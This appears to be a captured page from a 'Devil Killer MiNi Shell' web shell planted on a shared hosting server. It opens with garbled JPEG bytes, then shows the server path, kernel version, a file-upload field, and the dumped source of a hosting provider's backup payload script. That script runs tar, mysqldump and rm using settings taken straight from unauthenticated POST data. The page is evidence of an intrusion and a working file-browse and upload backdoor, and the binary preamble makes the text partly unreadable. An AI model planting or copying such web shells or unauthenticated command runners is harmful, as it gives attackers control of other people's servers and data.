JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /hermes/bosweb01/sb_web/b2920/ipg.bydeej/

Linux boscustweb5006.eigbox.net 5.4.91 #1 SMP Wed Jan 20 18:10:28 EST 2021 x86_64
Upload File :
Current File : //hermes/bosweb01/sb_web/b2920/ipg.bydeej/ssv3_backup_payload-GbKb0gaOfH.php

<?php
ini_set('error_log', dirname(__FILE__) . '/error_log');
ini_set('display_errors', 'off');
ini_set('log_errors', 'on');
error_reporting(E_ALL);

error_log( time() . ': ' . __FILE__ . ' startup' . PHP_EOL, 3, dirname( __FILE__ ) . '/error_log' );

if (isset($_GET['ping']) && !empty($_GET['ping'])) {
	echo 'Pong';
	exit;
}

set_time_limit( 15 * 60 );
$upgrader = new Upgrade($_POST);

$upgrader->execute();

exit;

/**
 * Pre Installer Payload Script
 *
 * This is called via curl. The settings are passed in the headers and the process is run
 * on the remote server.
 *
 * @subpackage Lib.assets
 *
 * @copyright SimpleScripts.com, 8 May, 2012
 * @author
 **/

/**
 * Define DocBlock
 **/

class Upgrade {

/**
 * Debug Storage
 *
 * @var array $debug
 */
	public $debug = array();

/**
 * Settings
 *
 * @var array $settings
 */
	public $settings = array(
		'filename' => null,
		'extract_package' => null,
		'directory_created' => false,
		'backup_dir' => '.ss_backup',
		'file_ext' => 'tgz',
	);

/**
 * Class Constructor
 *
 * The $_POST will be sent to this method and merged into the $settings defaults.
 *
 * @author
 **/
	public function __construct($settings = null) {
		if (!$settings) {
			return false;
		}
		$this->debug['setup'][] = 'Configuring settings.';
		$this->settings = array_merge($this->settings, $settings);
		$this->settings['os'] = strtolower(substr(PHP_OS, 0, 3));
		$this->settings['passthru'] = function_exists('passthru') ? true : false;
		$this->settings['root_directory'] = dirname(__FILE__);
	}

/**
 * Does stuff badly.
 *
 * @return [type] [description]
 */
	public function execute() {
		//check for backup dir and create it if it doesnt exists. New in v3
		if (!is_dir($this->settings['backup_dir'])) {
			$this->debug['setup'][] = 'Creating backup directory.';
			if (!@mkdir($this->settings['backup_dir'])) {
				$this->error['backupDirectory'] = 'the backup directory could not be created.';
				$this->error['extra'] = $this->settings['backup_dir'];
				$this->errorDie();
			}
		}

		//Run the backup process
		if ($this->settings['backup_dir']) {
			$this->debug['process'][] = 'Backing up current installation';
			$this->backup();
			$this->debug['process'][] = 'Backup successfully created';
		}

		$this->debug['setup'][] = 'Setting full file path.';
		$this->settings['path_to_file'] = dirname(__FILE__) . '/' . $this->settings['filename'];

		$this->debug['status'] = 'success';
		echo json_encode($this->debug);
	}

/**
 * mkdir replacement
 *
 * Recursive directory creation fails if at any point an
 * implicit is_dir fails when exploring the tree.  The problem
 * being, that is_dir sometimes fails on CIFS (Windows Samba
 * mounts) when there are a large number of inodes.  When that
 * returns false, mkdir tries to create that directory in the
 * path, but the mkdir also fails because the directory does
 * in fact exist.  chdir, stat, file_exists, etc., also all
 * fail.  But if you try to create a directory inside of the
 * unreadable directory it will succeed - so we need to find
 * our way past that if we can before reporting failure.
 *
 * @param  string $dir
 * @param  octet  $mode
 * @param  bool   $recursive
 * @return bool
 **/
	public function mkdir($dir, $mode = 0777, $recursive = true) {
		if (@mkdir( $dir, $mode, $recursive )) {
			return true;
		} else {
			// Looks like we failed.  Chances are the first place we
			// couldn't read was the site root itself, so try to make
			// the first directory under that as a starting point.

			// First, standardize paths.
			$root = implode( DIRECTORY_SEPARATOR, preg_split( '{[/\\\\]}', $this->settings['root_directory'] ) );
			$path = implode( DIRECTORY_SEPARATOR, preg_split( '{[/\\\\]}', $dir ) );

			// Find only those path elements which immediately follow
			// the root, and see if we can create that directory first.
			if (!strpos( $path, $root) === 0) {
				// Doesn't look like one is in the other, bail out.
				return false;
			}

			// Get the first path element following the site root.
			$pathParts = array_filter(
				preg_split(
					'{[/\\\\]}',
					substr( $path, strlen( $root ) )
				)
			);
			if (!$pathParts || !count( $pathParts)) {
				false;
			}

			$firstPath = $root . ( !preg_match( '{[/\\\\]$}', $root ) ? DIRECTORY_SEPARATOR : '' ) . array_shift( $pathParts );
			// This attempt must be false, or it will fail just like the
			// initial one above.
			if (@mkdir( $firstPath, $mode, false )) {
				if ($recursive) {
					if (count( $pathParts )) {
						// Should be OK to resume trying from here.
						return @mkdir( $path, $mode, $recursive );
					} else {
						// Created all there is to create, return true.
						return true;
					}
				} elseif (implode( '', $pathParts )) {
					// Gave us a recursive path but were told non-recursive?
					return false;
				} else {
					return true;
				}
			}
		}
		return false;
	}

/**
 * Backup
 *
 * Backup the user account(File backup implied. Database backup if the database is present and small enough)
 *
 *
 * @return void
 * @author
 **/
	public function backup() {
		if ($this->settings['backup_database']) {
			if (!$this->backupDatabase()) {
				$this->error['backup'] = 'No database backup file created. The backup process appears to have failed';
			}
		}
		if (!$this->backupUserFiles()) {
			$this->error['backup'] = 'No backup file created. The backup process appears to have failed';
		}
		if (!$this->backupProcessCleanup()) {
			$this->error['backup'] = 'Backup cleanup process failed.';
		}
	}
/**
 * Backup User Files
 *
 * Backup the users current files in the protected .ss_backup directory which is created if it doesnt exist
 *
 * @return void
 * @author
 **/
	public function backupUserFiles() {
		$options = null;
		if ($this->settings['file_ext'] == 'tar') {
			$options = '';
		} elseif ($this->settings['file_ext'] == 'tgz') {
			$options = '-z';
		} else {
			$this->error['incompatibleExtension'] = 'extension not compatible with backup process.';
			$this->error['extra'] = dirname(__FILE__) . '/' . $this->settings['filename'];
			$this->errorDie();
		}

		//protect the backup dir
		file_put_contents($this->settings['backup_dir'] . '/.htaccess', 'deny from all');

		$backupFileName = $this->settings['backup_dir'] . DIRECTORY_SEPARATOR . 'ss_backup-' . (int)gmdate('U') . '.tgz';

		//Pass the backup file back to the daemon
		$this->debug['backup_filename'] = $backupFileName;
		$command = sprintf(
			'tar --no-same-owner --exclude=.ss_backup -c %s -f %s -C %s/ .',
			$options,
			escapeshellarg($backupFileName),
			escapeshellarg(dirname(__FILE__))
		);

		$this->settings['command'] = $command;
		$results = $this->runCommand($command, 600);

		if (!file_exists($backupFileName)) {
			$this->debug['error'][] = "Command to create asset backup failed.";
			$this->errorDie();
		}

		$this->settings['list'] = preg_split("/\n/", $results);
		return true;
	}

/**
 * Backup User Database
 *
 * Backup the user database if there is one
 *
 * @return void
 * @author
 **/
	public function backupDatabase() {
		$outputFile = dirname(__FILE__) . '/.database_backup.sql';

		$backupCommand = sprintf(
			'mysqldump --user=%s --host=%s -p %s > %s',
			escapeshellarg($this->settings['ss_dbuser']),
			escapeshellarg($this->settings['ss_dbhost']),
			escapeshellarg($this->settings['ss_dbname']),
			escapeshellarg($outputFile)
		);

		$inputToBackupCommand = sprintf(
			"%s\n",
			$this->settings['ss_dbpass']
		);

		$this->debug['database_backup_command'] = $backupCommand;
		$this->debug['process'][] = 'Running database backup command';
		$result = $this->runCommand($backupCommand, 600, $inputToBackupCommand);

		// Legacy fallback.  Maybe we'd hit this on Windows?
		if ($result === false) {
			$this->debug['process'][] = 'Running backup command failed; dropping back to manual backup.';

			$host = $this->settings['ss_dbhost'];
			$user = $this->settings['ss_dbuser'];
			$pass = $this->settings['ss_dbpass'];
			$name = $this->settings['ss_dbname'];

			$tables = '*';

			$link = mysql_connect($host, $user, $pass);

			mysql_select_db($name, $link);

			if ($tables == '*') {
				$tables = array();
				$result = mysql_query('SHOW TABLES');
				while ($row = mysql_fetch_row($result)) {
					$tables[] = $row[0];
				}
			} else {
				$tables = is_array($tables) ? $tables : explode(',', $tables);
			}

			foreach ($tables as $table) {
				$result = mysql_query('SELECT * FROM ' . $table);
				$numFields = mysql_num_fields($result);
				$return .= 'DROP TABLE IF EXISTS ' . $table . ';';
				$row2 = mysql_fetch_row(mysql_query('SHOW CREATE TABLE ' . $table));
				$return .= "\n\n" . $row2[1] . ";\n\n";
				for ($i = 0; $i < $numFields; $i++) {
					while ($row = mysql_fetch_row($result)) {
						$return .= 'INSERT INTO ' . $table . ' VALUES(';
						for ($j = 0; $j < $numFields; $j++) {
							$row[$j] = addslashes($row[$j]);
							$row[$j] = preg_replace("/\n/", "/\\n/", $row[$j]);
							if (isset($row[$j])) {
								$return .= '"' . $row[$j] . '"';
							} else {
								$return .= '""';
							}
							if ($j < ($numFields - 1)) {
								$return .= ',';
							}
						}
						$return .= ");\n";
					}
				}
				$return .= "\n\n\n";
			}

			$handle = fopen($outputFile, 'w+');
			fwrite($handle, $return);
			fclose($handle);
		}

		return true;
	}

/**
 * Backup Process Cleanup
 *
 * Cleanup after the backup process is run. Nuke the db thats created in the install directory
 *
 * @return void
 * @author
 **/
	public function backupProcessCleanup() {
		$command = sprintf(
			'rm %s/.database_backup.sql',
			escapeshellarg(dirname(__FILE__))
		);
		$results = $this->runCommand($command);
		$this->settings['list'] = preg_split("/\n/", $results);
		return true;
	}

/**
 * Random String
 *
 * Generate a random string
 * @param string $ length The length of the random string to generate
 * @return void
 * @author
 **/
	public function randomString($length) {
		$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

		$size = strlen( $chars );
		for ($i = 0; $i < $length; $i++) {
			$str .= $chars[rand( 0, $size - 1 )];
		}
		return $str;
	}

/**
 * Run Command
 *
 * Run the specified command using passthru to get and return the results.
 *
 * @param string $command The command to run on the server.
 * @return string $output The raw output of the command.
 **/
	public function runCommand($command = null, $ttl = 600, $input = '') {
		if (!$command) {
			return false;
		}

		$descriptorSpec = Array(
			Array('pipe', 'r'),
			Array('pipe', 'w'),
			Array('pipe', 'w')
		);

		$pipes = Array();
		$stdout = '';
		$stderr = '';

		$process = proc_open($command, $descriptorSpec, $pipes);

		if (!is_resource($process)) {
			$this->debug[] = 'Failed to open process for command ' . $command;
			return false;
		}

		// Keep reads from hanging
		stream_set_blocking($pipes[0], 0);
		stream_set_blocking($pipes[1], 0);
		stream_set_blocking($pipes[2], 0);

		$loops = 0;

		if ($input) {
			sleep(1);
			fwrite($pipes[0], $input);
		}

		while (1) {
			$loops += 1;

			// This used to be fancy with stream_select, but it turns out that
			// stream_select doesn't block even when I want it to.  :/
			sleep(1);

			while ($moreStdout = stream_get_contents($pipes[1])) {
				$stdout .= $moreStdout;
			}

			while ($moreStderr = stream_get_contents($pipes[2])) {
				$stderr .= $moreStderr;
			}

			$status = proc_get_status($process);

			if (!$status['running']) {
				break;
			}

			if ($loops > $ttl) {
				$this->debug[] = "terminating with 15 due to timeout at $loops loops";
				proc_terminate($process, 15);
				$status['exitcode'] = '15';
			}

			if ($loops > 5 + $ttl) {
				$this->debug[] = "terminating with 9 due to timeout at $loops loops";
				proc_terminate($process, 9);
				$status['exitcode'] = '9';
			}
		}

		$exitCode = $status['exitcode'];

		$this->debug[] = compact('command', 'stdout', 'stderr', 'exitCode', 'loops');

		if ($exitCode) {
			return false;
		}

		return $stdout;
	}

/**
 * Error
 *
 * Call an error to pass back to the caller.
 *
 * @return void
 *
 **/
	public function errorDie() {
		$this->error['status'] = 'error';
		$this->error['debug'] = $this->debug;
		$this->error = json_encode($this->error);
		die($this->error);
	}
}

Creat By MiNi SheLL
Email: devilkiller@gmail.com